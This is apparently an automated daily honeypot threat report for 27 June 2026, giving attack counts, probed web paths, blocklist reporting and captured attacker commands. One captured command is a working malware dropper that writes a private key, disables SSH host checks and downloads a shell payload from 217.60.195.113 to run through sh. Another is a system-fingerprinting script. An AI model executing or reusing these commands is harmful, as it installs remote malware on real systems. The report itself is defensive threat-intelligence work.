Saturday, 27 June 2026 💀 critical

Daily Threat Report

568 SSH Connections

373 Login Attempts

195 Commands Run

36 SSH Unique IPs

11,556 Protocol Events

78 Protocol IPs

35 Web Hits

7 Web Service IPs

7 Reverse Scans

7 Scan Hits

Top Attacker IPs

Top Passwords Tried

8c6976e5b5410415
4813494d137e1631

🌐 WEB HONEYPOT — HoneyAI HTTP

AI-generated fake HTTP responses served to 35 scanner requests from 7 unique IPs (local, offline).

Top Paths Probed

/SDK/webLanguage
/manager/html
/actuator/health

Top User-Agents

Mozilla/5.0
Go-http-client/1.1
Mozilla/5.0 (compatible; TomcatScanner/1.0)
Mozilla/5.0 zgrab/0.x
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36

💥 OPERATION SPINE — Reverse Port Scanning

Active defense back-profiling: HoneyAI executed **7** reverse port-scans against active attacker IPs. Out of these, **7** hosts were found with open services.

Discovered Open Ports on Attackers

🌐204.76.203.15 Scanned at 00:59

🌐65.49.1.52 Scanned at 02:03

🌐65.49.1.54 Scanned at 03:39

🌐65.49.1.56 Scanned at 03:39

🌐64.89.163.94 Scanned at 04:38

🌐141.98.83.48 Scanned at 07:19

🌐64.89.163.158 Scanned at 13:56

# Automatic multi-platform threat intel reporting
$ honeypot-report.sh --since 24h
→ 98 IPs → AbuseIPDB  (community confidence scores updated)
→ 98 IPs → AlienVault OTX  (pulse indicators added)
→ 98 IPs → Blocklist.de  (auto-ban list updated)
→ 98 IPs → DShield/SANS  (global threat feed updated)

🤣 ATTACKER COMEDY CORNER

Real attempts. No actors were harmed in the making of this honeypot.

🔑 Hall of Shame — Passwords

8c6976e5b5410415

4813494d137e1631

💻 Commands They Tried

uname -s -m

uname -a

uname -a; echo -e $_dq\x61\x75\x74\x68\x5F\x6F\x6B\x0A$_dq; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW

QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ

0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg

AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9

Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=

-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no

UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

uname=$(uname -s -v -n -m 2>/dev/null)

arch=$(uname -m 2>/dev/null)

uptime=$(cat /proc/uptime 2>/dev/null)

cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) | head -1)

cpu_model=$( (grep -m1 -E $_dqmodel name|Hardware$_dq /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,$_dq$_dq,$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' )

gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50)

cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1)

ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1)

last_output=$(last 2>/dev/null | head -n 10)

echo $_dqUNAME:$uname$_dq

echo $_dqARCH:$arch$_dq

echo $_dqUPTIME:$uptime$_dq

echo $_dqCPUS:$cpus$_dq

echo $_dqCPU_MODEL:$cpu_model$_dq

echo $_dqGPU:$gpu_info$_dq

echo $_dqCAT_HELP:$cat_help$_dq

echo $_dqLS_HELP:$ls_help$_dq

echo $_dqLAST:$last_output$_dq

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH

uname=$(uname -s -v -n -m 2>/dev/null)

arch=$(uname -m 2>/dev/null)

uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1)

cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) | head -1)

cpu_model=$( (grep -m1 -E $_dqmodel name|Hardware$_dq /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,$_dq$_dq,$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' )

gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50)

cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1)

ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1)

last_output=$(last 2>/dev/null | head -n 10)

echo $_dqUNAME:$uname$_dq

echo $_dqARCH:$arch$_dq

echo $_dqUPTIME:$uptime$_dq

echo $_dqCPUS:$cpus$_dq

echo $_dqCPU_MODEL:$cpu_model$_dq

echo $_dqGPU:$gpu_info$_dq

echo $_dqCAT_HELP:$cat_help$_dq

echo $_dqLS_HELP:$ls_help$_dq

echo $_dqLAST:$last_output$_dq

These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.

Automated report for 27 de junio de 2026. Recorded 568 SSH connections and 11556 multi-protocol decoy events on HoneyAI, from 114 unique IPs. 98 IPs were automatically reported to the AbuseIPDB community database.

SSH Activity (HoneyAI)

The SSH service received 373 login attempts from 36 unique IPs. Attackers executed 195 commands after gaining simulated system access.

Multi-Protocol Decoys (HoneyAI)

Detected 11556 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 78 distinct IPs. All events are access attempts against simulated production services.

HTTP Web Service (HoneyAI)

The web service received 35 HTTP requests from real scanners across 7 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).

MCP Agent Trap

The MCP decoy server received 3 requests from 1 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.

MSSQL / SNMP Honeypots

The MSSQL decoy received 9027 authentication events from 2 IPs. The SNMP trap received 24 queries from 13 IPs probing community strings and OIDs.

Portscan Detection

Detected 0 incoming port scan events from 0 unique IPs.

AI Defense Stats

Blocked 0 prompt injection attempts and 0 identity leak attempts.

Active Defense (Operation Spine)

HoneyAI performed 7 reverse port scans back to active attacker IPs. Out of these, 7 hosts were found running open public services, allowing backfire profiling.

Network IDS (Suricata)

The network intrusion detection system generated 5849 alerts from 560 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.

← All Reports 🛡️ Subscribe to blocklists →